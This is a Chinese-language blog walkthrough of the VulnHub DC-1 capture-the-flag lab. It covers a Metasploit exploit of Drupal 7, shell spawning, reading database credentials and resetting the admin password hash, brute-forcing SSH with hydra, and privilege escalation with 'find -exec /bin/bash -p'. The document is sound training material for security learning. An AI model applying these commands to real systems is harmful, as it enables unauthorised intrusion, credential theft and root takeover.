目录
一、实验环境
1.1 攻击机Kali
(1)在虚拟机中安装Kali系统并作为攻击机,将网络连接设置成NAT模式
(2)Kali的IP地址为192.168.101.130
1.2 靶机下载
(1)下载地址: DC: 1 ~ VulnHub
(2)通过上述简介可以知道,此盒子旨在为渗透测试领域积累经验,总共有五面旗帜,但最终目标是找到并读取root用户主目录中的那面旗帜。无需以root身份操作就能完成此任务,不过需要root权限。
(3)直接在VMware虚拟机中导入该靶机,将网络连接设置成NAT模式
(4)开启靶机
1.3 工具准备
- Wappalyzer插件
- Searchsploit
- Metasploit
- Hydra
二、站点信息收集
2.1 IP扫描
(1)使用命令netdiscover查找靶机的IP地址
(2)发现靶机地址为192.168.101.134
2.2 端口扫描
(1)使用nmap工具对目标机进行端口扫描,发现打开了22端口,80端口
(2)访问http://192.168.101.134
2.3 网页信息收集
使用火狐浏览器的Wappalyzer插件进行CMS识别,发现CMS是durpal 7
三、漏洞探测与利用
3.1 漏洞探测
3.1.1 方法一——Searchsploit工具
Searchsploit是一个非常有用的命令行工具,用于在 Exploit Database(漏洞数据库)中查找已知的漏洞和漏洞利用代码。
Searchsploit drupal 7
3.1.2 方法二——Metasploit框架
Metasploit 是一个强大的渗透测试和漏洞利用框架,广泛用于信息安全领域,特别是在渗透测试、漏洞分析和恶意软件分析等方面,可用于漏洞扫描、漏洞利用、Payload生成、后门控制等。
(1)启动Metasploit框架
(2)通过msfconsole搜索关于drupal的可利用的漏洞,优先选择Rank="excellent",Check="Yes"与最新日期的漏洞
search drupal
3.2 获取命令行权限(get shell)
(1)选择其中的漏洞1,输入靶机的ip地址,成功get shell,并且此时为普通www-data权限
use 1
set RHOST 192.168.101.134
run
(2)查看当前目录下的文件,发现flag1.txt,查看该文件,提示我们去查看当前CMS系统的配置文件
(3)使用脚本获得一个交互式的webshell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
3.3 数据库信息收集与利用
(1)根据提示信息,百度可知Drupal的配置文件是网站根目录下的/site/default下的setting.php文件
(2)查看该配置文件,发现flag2的提示信息:暴力破解和字典攻击不是唯一的手段,同时在配置文件中发现数据库的相关信息
cd /var/www/sites/default
Username:dbuser //用户名
Password:R0ck3t //密码
(3)连接数据库
(4)查看数据库内容
mysql -udbuser -pR0ck3t //-u username -p password 登录数据库
show databases; //查看数据库
use drupaldb //进入该数据库
show tables; //查看表
select * from users; //查看users表的内容
select uid,name,pass from users;//查看用户密码
exit; //退出
3.4 修改密码并登录
(1)由上述flag2的提示想到修改密码,Drupal7采用了新型的Hash加密方法来确保密码安全,而加密脚本是password-hash.sh,使用命令来寻找该文件
find / -name password-hash*
(2)通过脚本对新密码123456进行加密,将加密后的hash值记录下来
scripts/password-hash.sh 123456
(3)连接数据库,更新admin的密码
update users set pass="$S$DfF3tcKKb0bp6.FbIpn7pi0at61bsxT1TgzCiwwEYqBGvE0rrLN." where uid = 1;
(4)返回http://192.168.101.13页面,使用用户名:admin和密码:123456进行登录
(5)登录成功
(6)查看网页内容,在content栏中发现flag3
(7)点击查看flag3的提示:特殊的权限将有助于找到(find)密码,但您需要执行(-exec)该命令才能弄清楚如何获取shadow文件中的内容
四、权限提升
4.1 密码破解
Linux的密码文件为/etc/passwd,共有七个字段,用户密码经过加密后存储在第二个字段中,还设置了一个/etc/shadow文件用于专门存储密码,且权限为root可读,没有其他权限。
(1)查看/etc/passwd文件
(2)利用kali自带的hydra破解密码,得到密码为orange
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.101.134
(3)与靶机建立ssh连接,连接到flag4账户
ssh flag4@192.168.101.134
(4)查看当前账户下的文件,发现flag4.txt,提示:打开后提示find提权
4.2 find提权
(1)根据flag3和flag4的提示,查看find命令的权限,发现为root权限,可利用find提权
(2)使用-exec参数进行find提权,在root目录下找到了最终的flag
find -name flag4.txt -exec /bin/bash -p \;
五、遇到的问题及解决
1.将靶机导入VMware时,在导入ova文件时报错
- 解决方法:点击重试即可
2.更改虚拟机配置时,显示VMware Workstation 不可恢复错误: (vmui)Exception 0xc0000094 has occurred.
- 解决方法:
(1)按照下方图片点击“更改硬件兼容性”
(2)将硬件兼容性更改到Workstation15.x即可
声明
1.本博客文章均为博主日常学习原创内容,转载请注明出处。
2.文章内容如有涉及侵犯您的知识产权和版权问题,请及时与我联系。
3.希望以上的学习经验分享能对您有所帮助。
4.本内容仅供学习和研究使用,严禁用于任何非法或不道德的行为,任何违反法律的行为将由行为人自行承担。